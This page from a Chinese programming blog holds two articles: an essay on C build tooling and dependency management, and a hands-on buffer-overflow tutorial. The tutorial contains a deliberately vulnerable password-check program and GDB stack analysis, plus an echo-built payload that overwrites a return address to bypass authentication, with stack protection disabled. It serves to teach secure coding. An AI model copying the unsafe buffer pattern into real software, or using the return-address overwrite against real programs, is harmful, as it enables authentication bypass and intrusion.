标签 GCC 下的文章

也谈C语言应用构建

构建是软件开发过程中最常见的活动之一,也是很容易被忽视的环节。规范以及高效的构建对软件开发过程而言是大有裨益的。C语言并非一门年轻的语言,其历史已甚为悠久了(相对于还年轻的IT领域^_^)。从C语言诞生以来,市面上存在的C语言应用何止千千万万。这些C应用的源码组织形式种类万千,从最简单的单个源文件,到复杂的诸如Apache httpd server这样庞大的Project。不过无论这些C应用的源码组织形态如何,构建都是这些应用开发过程中必不可少的一步。

伴随着C语言的普及,C语言应用的构建工具也逐渐发展起来,随着Project构建复杂性的增加,大致可分为四个阶段(个人观点):
* 命令行构建
对于简单应用来说,其源文件数量一般较少,且可能都放在一个同目录下,构建这样的工程的最简单的方法就是直接在命令行上输入编译命令(诸如gcc -o foo foo.c bar.c)。这种方式在C诞生早期的简单应用或对于刚刚C入门朋友来说是最常见的。

* make工具
随着Project复杂程度的增加,使用命令行编译构建的难度日益加大,大家开始使用make工具。make工具的实质是帮助项目管理依赖关系。C应用构建的最终目标一般都是一个可执行文件,该文件一般是由所有源文件的目标文件以及依赖的第三方库链接后生成的,也就是说该文件依赖项目源文件的目标文件以及第三方库。我们可以将这种依赖关系用make工具指定的专用语法描述出来,形成Makefile文件。后续我们如果要构建该Project,只需敲入make即可。make工具会自动分析Makefile中的依赖关系,并执行依赖关系对应的命令,并最终完成构建。

* autotools
虽然make工具很好地解决了复杂Project的构建问题,但make本身的学习曲线也是很陡峭的,也就是说要为一个复杂的C应用编写Makefile脚本并非易事,特别是复杂Project中那更为复杂的依赖关系,可以让任一一个程序员望而却步。大家都看到了这一点,因此就有了autotools工具集的诞生。autotools工具集由autoconf、autoheader、automake和libtool等工具组成,其主要目标就是简化项目Makefile的编写。使用autotools,我们可以为C应用的Project自动生成Makefile,这显然是一个很大的进步,对于复杂的Project尤甚。

* 新兴的通用构建工具
虽然autotools的出现解决了一些C应用构建难的问题,但autotools自身使用起来也是略显复杂的。特别是它由若干工具组成,并需要这些工具一起配合才能完成一个Project的Makefile的编写和生成,学习这些工具本身也要耗费很多时间。随着一些脚本语言的流行,一些新兴的通用构建工具逐渐出现在大家的视线中,诸如Scons、rake等。这些新工具吸取了make等门槛较高、不易用的教训,利用脚本语言特有的性质打造出了更加简单易用的构建脚本,现在很多C应用都开始使用这些工具简化构建脚本编写了。

究竟是使用哪种构建工具,这还是取决于项目所处的"环境",包括项目的复杂性,人员的平均技能水准等等。但有了构建工具还不足矣,我们再来看看关于C语言应用构建还有哪些应该关注的地方。

一、规范化项目源码组织
项目的源码组织是应该先于构建脚本实现的,因此良好的项目源码组织也有助于构建脚本的编写,同时也有利于组织内部的标准化和复用。但C应用的源码组织的确没有统一的标准,也没有最好可言,也许只有适不适合。下面就是我们所使用的一个典型的C应用(非公共库)源码组织示例:

Foo_proj/
    – Makefile
    – sub_proj1/
        – Make.rules(由buildc生成)
        – Makefile
        – include/
        – module1/
            – xx.c
            – Makefile
            – tests/
                – xx_test.c
                – Makefile
        – module2/
            … …
    – sub_proj2
        – Make.rules(由buildc生成)
        – Makefile
        – include/
        – module1/
            – xx.c
            – Makefile
            – tests/
                – xx_test.c
                – Makefile
 … …

针对这个示例有几个注意事项要说明一下:
a)
以前在很多Project中,都会包含一个顶层的(toplevel)Make.rules,这样的设计考虑无非是希望项目下的其他sub_proj可以复用该Make.rules,这看起来似乎方便了。但实际这样做是在各个子项目间建立了一层构建耦合关系:很多子项目都有个性化的构建需求,这样一来可能会频繁对该顶层Make.rules进行修改;或是当无法修改顶层Make.rules时子项目还是会在自己下面增加一个子Make.rules以满足构建的个性化需求。我们莫不如去掉顶层Make.rules,而在各个子项目中添加自己的Make.rules。特别是在有了buildc工具以后,每个子项目下的Make.rules都是自动生成的,这样不但不会增加太多的额外工作量,还从根本上去除了子项目间的一种耦合,完全可满足sub_proj的个性化的构建需求。

b) 顶层的Makefile依旧保留,一般作为一键构建整个项目时之用。顶层的Makefile实际来看就是将各个sub_proj串接起来,再说白些,就是遍历的调用各个sub_proj下的Makefile。

c) 针对每个module的单元测试代码与被测试的module代码存放在一起(比如放在module下面的tests目录下),这样使得被测对象与测试代码物理上接近,易于源码的测试,同时逻辑上看也很紧凑。

二、构建执行的简单和高效
构建是一个频繁的日常开发活动,简单和高效是IT开发者对"构建"活动的两个基本要求。所谓"简单"就是尽量不让或少让我动手,懒惰的程序员们最多只是希望敲入一个命令就可以完成项目的所有构建,这就是我们所说的"一键化"。一键化从另一个角度来说也是一种"高效",但"高效"更重要的含义则是指尽量缩短构建的时间。要想做到这点,一是需要一个清晰明了的构建脚本实现,把项目内部的各种依赖关系打理清楚,只作必要依赖,减少不必要的重复构建;第二则是选择一款高性能的构建工具,目前来看make本身的性能还是很棒的,一般来说还是强于scons这样以动态脚本语言实现的工具的,特别是再加上并行编译和分布式编译后,构建时间将大大缩短。

三、第三方依赖包的管理
在开源软件大行其道的今天,很多商业项目都或多或少的用到一些开源包,即使没有用到开源包,组织内部也可能存在项目间相互依赖的情况,比如:业务部门的应用很可能依赖基础研发部门提供的通用库,这样就出现了一个第三方依赖的管理的问题,这也是我们在进行构建设计过程中所不可忽视的一个重要方面。

关于第三方依赖包的管理,至少我是见识过如下几种方式:

* 将第三方依赖包的源码导入到你的项目,伴随项目一并构建
这样做的好处之一就是完整:大家在构建项目时无需东找西寻,依赖的代码就在项目库中。好处之二是便于一键构建,依赖包的源码就在项目中,可以任你"宰割";第三则是便于在不同平台上移植,因为直接存储了源码,在每个平台都是依据所在的平台构建对应的版本。

不足之处:这样做会导致项目代码库庞大,构建时间漫长;另外也不便于第三方依赖包的更新升级。一旦第三方依赖包有bugfix或新feature,你可能需要手动的同步代码。一旦依赖的第三方包有很多的话,这可是一笔不小的工作量;最后每个项目都单独存储一份第三方依赖包会导致大量重复,重复可并不是一个好味道。

* 将第三方依赖包构建后的二进制文件放入项目代码库
这样做的好处在于提高了构建效率,节省了第三方依赖库自身的构建时间。但这样做的不足之处依然很多,直接存储源码方式的大多数不足都被该方式继承了下来,除此之外,这种方式还会导致在不同平台上构建难度的增加(不同平台上的包的二进制文件是不同的)。

* 对第三方依赖包进行集中单独管理
将各个项目所使用的第三方依赖库做统一集中管理,而不是放在每个项目中,并且只存储构建后的二进制文件而非源码。组织形式示例见下面:

3rds/
      – libevent/
           – 2.0.10/
              – README
              – source_code_package
              – sparc_32_solaris/
    - include/
    - lib/
              – sparc_64_solaris/
              – x86_64_solaris/
              – x86_64_linux/
           … …
      – netsnmp/
      … …

这种"分门别类"的第三方依赖包集中管理方式既有利于加速构建过程(直接用二进制,省下源码编译),同时也便于依赖包的统一升级和管理(专人负责,通过版本号区分)。这种第三方依赖包的管理方式也是使用buildc构建辅助工具的前提。这种方式也是有缺点的,那就是需要有专人负责对该公共库进行管理,包括新版二进制包的制作与上传。

至于在具体项目中究竟采用哪种方式还需要根据project的具体情况作出权衡,如果你依赖的第三方包较小且很少,那方式一很适合,redis就是这么做的;如果你不要支持多平台,那么第二种方式也可行;对于组织而言,似乎第三种方式是规范、统一和一致的,这也是我推荐的方式。

四、适于与第三方工具集成
持续集成是公认的优秀实践,市面上有很多优秀的ci工具。持续集成的第一步就是构建,因此一个好的工程构建是应该能与ci工具很好结合在一起的,也就是说要充分考虑构建脚本与ci工具的结合。

一般来说持续集成工具判断成败与否的根据就是你委托ci工具执行的脚本的返回值。对于C应用构建过程来说,一般是make的返回值。0即成功,其他均为失败。对于单元测试用例的执行过程而言,也同样是此道理。C的单元测试集实际上就是一个个可执行程序,每个程序的返回值都是需要认真考量的,不能随意。如果你使用类似lcut这样的框架工具,你就完全可以通过框架工具来帮你完成用例执行返回值的设定。

良好的项目构建设计是项目迈向成功的重要一步。在日常开发工作中我们不仅仅要关注软件开发过程中的"前段",比如需求、设计和编码;对"后段"的一些活动,诸如构建、测试和部署也要给予足够的关注。以上所讲仅是经验之谈,谈不上绝对正确,因为关于C应用构建的资料相对较少,也没有统一的标准,这里权当抛砖引玉了。

利用缓冲区溢出漏洞Hack应用

我们在平时编码过程中很少考虑代码的安全性(security),与正确性、高性能和可移植性相比,安全性似乎总被忽略。昨天从安全性角度泛泛地Review了一下现有的代码,发现了不少具有安全隐患的地方。我们的程序员的确缺乏系统地有关安全编码方面的训练和实践,包括我在内,在安全编码方面也都是初级选手,脑子中对安全性编码缺乏系统的理解。

市面上讲解编码安全性方面的书籍也不是很多,在C编码安全性方面,CERT(Carnegie Mellon University's Computer Emergency Response Team)专家Robert Seacord的《C和C++安全编码》一书对安全性编码方面做了比较系统的讲解。Robert还编写了一本名为《C安全编码标准》的书,这本书可以作为指导安全编码实践的参考手册。

浏览了一下《C和C++安全编码》,你会发现多数漏洞(vulnerability)都与缓冲区溢出(buffer overflow)有关。要想学会更好的防守,就要弄清楚漏洞是如何被利用的,在这里我们就来尝试一下如何利用缓冲区漏洞Hack应用。

有这样一段应用代码:
/* bufferoverflow.c */
int ispasswdok() {
    char passwd[12];
    memset(passwd, 0, sizeof(passwd));

    FILE *p = fopen("passwd", "rb");
    fread(passwd, 1, 200, p);
    fclose(p);

    if (strcmp(passwd, "123456") == 0) {
        return 0;
    } else {
        return -1;
    }
}

int main() {
    int passwdstat = -1;

    passwdstat = ispasswdok();
    if (passwdstat != 0) {
        printf ("invalid!\n");
        return -1;
    }

    printf("granted!\n");
    return 0;
}

这显然是故意“制造”的一段程序。原本密码(passwd)的输入是通过gets函数从标准输入获得的,但考虑到Hack时非可显示的ASCII码不易展示和输入,这里换成了fread,并且故意在fread使用中留下了隐患。我们Hack的目标很明确,就是在不知道密码的前提下,让这个程序输出"granted!",即绕过密码校验逻辑。

Hack的原理这里简述一下。我们知道C程序的运行其实就是一系列的过程调用,而过程调用本身是依赖系统为程序建立的运行时堆栈(stack)的,每个过程(Procedure)都有自己的栈帧(stack frame),各个过程的栈帧在运行时stack上按照调用的先后顺序从栈底向栈顶延伸排列。系统使用扩展基址寄存器(extended base pointer,%ebp)和扩展栈寄存器(extended stack pointer,%esp)来指示当前过程的栈帧。系统通过调整%ebp和%esp的方式按照特定的机制在各个过程的栈帧上切换,实现过程调用(call)和从过程调用返回(ret)。

执行子过程调用指令(call)时,系统先将该call指令的下一条顺序指令的地址(%eip),即子过程调用的返回地址存储在stack上,作为过程调用者栈帧的结尾,然后将%ebp也压入stack,作为子过程栈帧的开始,最后系统跳转到子过程的起始地址开始执行。总的来说,子过程调用call的执行相当于:

push %eip
push %ebp

子过程在其开始处将调用者的%ebp保存在栈上,并建立自己的%ebp;子过程调用结束前,leave指令首先恢复调用者的%ebp和%esp,之后ret指令将存储在stack的调用者的返回地址恢复到指令寄存器%eip中,并跳转到该地址上执行后续指令,这样系统就从子过程返回继续原过程的执行了。

这里的Hack就是利用重写返回地址来达到绕过密码校验过程的目的。返回地址与局部变量存储在同一栈上且系统没有对栈越界修改进行校验(一般情况是这样的)让Hack成为可能。我们通过GDB反汇编来看看main栈帧与ispasswdok栈帧在内存中的布局情况。

我们首先将breakpoint设置在ispasswdok过程被调用前,设置断点后run:

$ gdb bufferoverflow
… …
(gdb) break 20
Breakpoint 1 at 0×8048591: file bufferoverflow.c, line 20.
(gdb) run
Starting program: /home/tonybai/test/c/bufferoverflow

Breakpoint 1, main () at bufferoverflow.c:20
20        int passwdstat = -1;

我们查看一下当前main的栈帧情况:
(gdb) info registers
esp            0xbffff100    0xbffff100
ebp            0xbffff128    0xbffff128
eip            0×8048591    0×8048591 [main+9]

可以看到main栈帧起始于0xbffff128。我们继续在ispasswdok处设置断点,继续执行。
(gdb) break ispasswdok
Breakpoint 2 at 0x804850a: file bufferoverflow.c, line 6.
(gdb) continue
Continuing.

Breakpoint 2, ispasswdok () at bufferoverflow.c:6
6        memset(passwd, 0, sizeof(passwd));

现在程序已经执行到ispasswdok过程中,我们也可以看到ispasswdok栈帧情况了:
(gdb) info registers
esp            0xbffff0d0    0xbffff0d0
ebp            0xbffff0f8    0xbffff0f8
eip            0x804850a    0x804850a [ispasswdok+6]

可以看到ispasswdok过程的栈帧起始于0xbffff0f8。前面说过子过程的%ebp指向的栈单元存储的是其调用者栈帧的起始地址,即其调用者的%ebp。我们来查看一下是否是这样:

(gdb) x/4wx 0xbffff0f8
0xbffff0f8:    0xbffff128    0x0804859e    0×00284324    0x00283ff4

我们通过x/命令查看起始地址为0xbffff0f8的栈上连续4个4字节存储单元的值,可以看到0xbffff0f8处栈单元内的确存储是的main栈帧的%ebp,其值与前面main栈帧输出的结果相同。那么按照之前所说的,紧挨着这个地址的值就应该是ispasswdok过程调用的返回地址了,也就是我们要改写的那个地址,我们看到这个地址的值为0x0804859e。我们通过反汇编看看main过程的指令:

(gdb) disas main
Dump of assembler code for function main:
   0×08048588 [+0]:    push   %ebp
   0×08048589 [+1]:    mov    %esp,%ebp
   0x0804858b [+3]:    and    $0xfffffff0,%esp
   0x0804858e [+6]:    sub    $0×20,%esp
   0×08048591 [+9]:    movl   $0xffffffff,0x1c(%esp)
   0×08048599 [+17]:    call   0×8048504 [ispasswdok]
   0x0804859e [+22]:    mov    %eax,0x1c(%esp)
   … …

可以看到0x0804859e就是ispasswdok调用后的下一条指令,看来它的确是我们想要找到地址。找到了要改写的地址,我们还要找到外部数据的入口,这个入口即是ispasswdok过程中的局部变量passwd。

passwd的起始地址是什么?我们通过ispasswdok的反汇编代码来分析:

(gdb) disas ispasswdok
Dump of assembler code for function ispasswdok:
   0×08048504 [+0]:    push   %ebp
   0×08048505 [+1]:    mov    %esp,%ebp
   … …
   0×08048555 [+81]:    lea    -0×18(%ebp),%eax
   0×08048558 [+84]:    mov    %eax,(%esp)
   0x0804855b [+87]:    call   0x804842c [fread@plt]
   … …

可以看到在为fread准备实际参数时,系统用了-0×18(%ebp),显然这个地址就是passwd数组的始地址,即0xbffff0f8 – 0×18处。综上,我们用一幅简图来形象的说明一下各个重要元素:

– 高地址,栈底
… …
0xbffff0fc:  0x0804859e   <- 存储的值是main设置的ispasswdok过程的返回地址
——————————————————
0xbffff0f8:  0xbffff128   <- ispasswdok的%ebp,存储的值为main的%ebp
0xbffff0f4:  0x08049ff4
0xbffff0f0:  0x0011e0c0
0xbffff0ec:  0x0804b008
0xbffff0e8:  0×00000000
0xbffff0e4:  0×00000000
0xbffff0e0:  0×00000000   <- passwd数组的起始地址
… …
– 低地址,栈顶

我们现在需要做的就是从0xbffff0e0这个地址开始写入数据,一直写到ispasswdok过程的返回地址,用新的地址值覆盖掉原有的返回地址0x0804859e。我们需要精心构造一个密码文件(passwd):

echo -ne "aaaaaaaaaaaa\x08\xb0\x04\x08\xc0\xe0\x11\x00\xf4\x9f\x04\x08\x28\xf1\xff\xbf\xc4\x85\x04\x08" > passwd

这里我们将passwd数组用字符'a'填充,将0x0804859e这个返回地址改写为0x080485c4,我们通过disas main可以看到这个跳转地址对应的指令:

(gdb) disas main
Dump of assembler code for function main:
   0×08048590 [+0]:    push   %ebp
   0×08048591 [+1]:    mov    %esp,%ebp
   … …
   0x080485c4 [+52]:    movl   $0x80486ba,(%esp)  ;程序执行跳转到这里
   0x080485cb [+59]:    call   0x804841c [puts@plt] ; 输出granted!
   0x080485d0 [+64]:    mov    $0×0,%eax
   0x080485d5 [+69]:    leave 
   0x080485d6 [+70]:    ret   

我们在GDB中完整的执行一遍bufferoverflow:
$ gdb bufferoverflow
(gdb) run
Starting program: /home/tonybai/test/c/bufferoverflow
granted!

Program exited normally.

Hack成功!(环境:gcc version 4.4.3 (Ubuntu 4.4.3-4ubuntu5), GNU gdb (GDB) 7.1-ubuntu)

GCC默认在目标代码中加入stack smashing protector(-fstack-protector),在函数返回前,程序会检测特定的protector(又被称为canary,金丝雀)的值是否被修改,如果被修改了,则报错退出。上面的代码在编译时加入了-fno-stack-protector,否则一旦越界修改缓冲区外的地址,波及canary,程序就会报错退出。

另外bufferoverflow这个程序在GDB下执行可以成功Hack,但在shell下独立执行依旧会报错,dump core(发生在fclose里),对于此问题暂没有什么头绪。

后记:
经过分析,bufferoverflow程序在非GDB调试环境下独立执行时dump core的问题应该是由于Linux采用的ASLR技术所致。所谓ASLR就是Address-Space Layout Randomization,中文意思是地址空间布局随机化。正因为每次bufferoverflow的栈地址空间布局随机不同,因此事先精心挑选的那组hack数据才无法起到作用,并导致栈被破坏而dump core。

我们可以通过一个简单的测试程序看到ASLR的作用。
/* test_aslr.c */
int main() {
    int a;
    printf("a is at %p\n", &a);
    return 0;
}

下面多次执行该例程:
tonybai@PC-ubuntu:~/test/c$ test_aslr
a is at 0xbfbcb44c
tonybai@PC-ubuntu:~/test/c$ test_aslr
a is at 0xbfe3c8cc
tonybai@PC-ubuntu:~/test/c$ test_aslr
a is at 0xbfcc6d9c
tonybai@PC-ubuntu:~/test/c$ test_aslr
a is at 0xbfaea32c

可以看到每次栈上变量a的地址都不相同。

GDB默认关闭了ASLR,这才使得上面的Hack得以成型,通过GDB的信息也可以证实这一点:
(gdb) show disable-randomization
Disabling randomization of debuggee's virtual address space is on.

如发现本站页面被黑,比如:挂载广告、挖矿等恶意代码,请朋友们及时联系我。十分感谢! Go语言第一课 Go语言精进之路1 Go语言精进之路2 Go语言编程指南
商务合作请联系bigwhite.cn AT aliyun.com

欢迎使用邮件订阅我的博客

输入邮箱订阅本站,只要有新文章发布,就会第一时间发送邮件通知你哦!

这里是 Tony Bai的个人Blog,欢迎访问、订阅和留言! 订阅Feed请点击上面图片

如果您觉得这里的文章对您有帮助,请扫描上方二维码进行捐赠 ,加油后的Tony Bai将会为您呈现更多精彩的文章,谢谢!

如果您希望通过微信捐赠,请用微信客户端扫描下方赞赏码:

如果您希望通过比特币或以太币捐赠,可以扫描下方二维码:

比特币:

以太币:

如果您喜欢通过微信浏览本站内容,可以扫描下方二维码,订阅本站官方微信订阅号“iamtonybai”;点击二维码,可直达本人官方微博主页^_^:
本站Powered by Digital Ocean VPS。
选择Digital Ocean VPS主机,即可获得10美元现金充值,可 免费使用两个月哟! 著名主机提供商Linode 10$优惠码:linode10,在 这里注册即可免费获 得。阿里云推荐码: 1WFZ0V立享9折!


View Tony Bai's profile on LinkedIn
DigitalOcean Referral Badge

文章

评论

  • 正在加载...

分类

标签

归档



View My Stats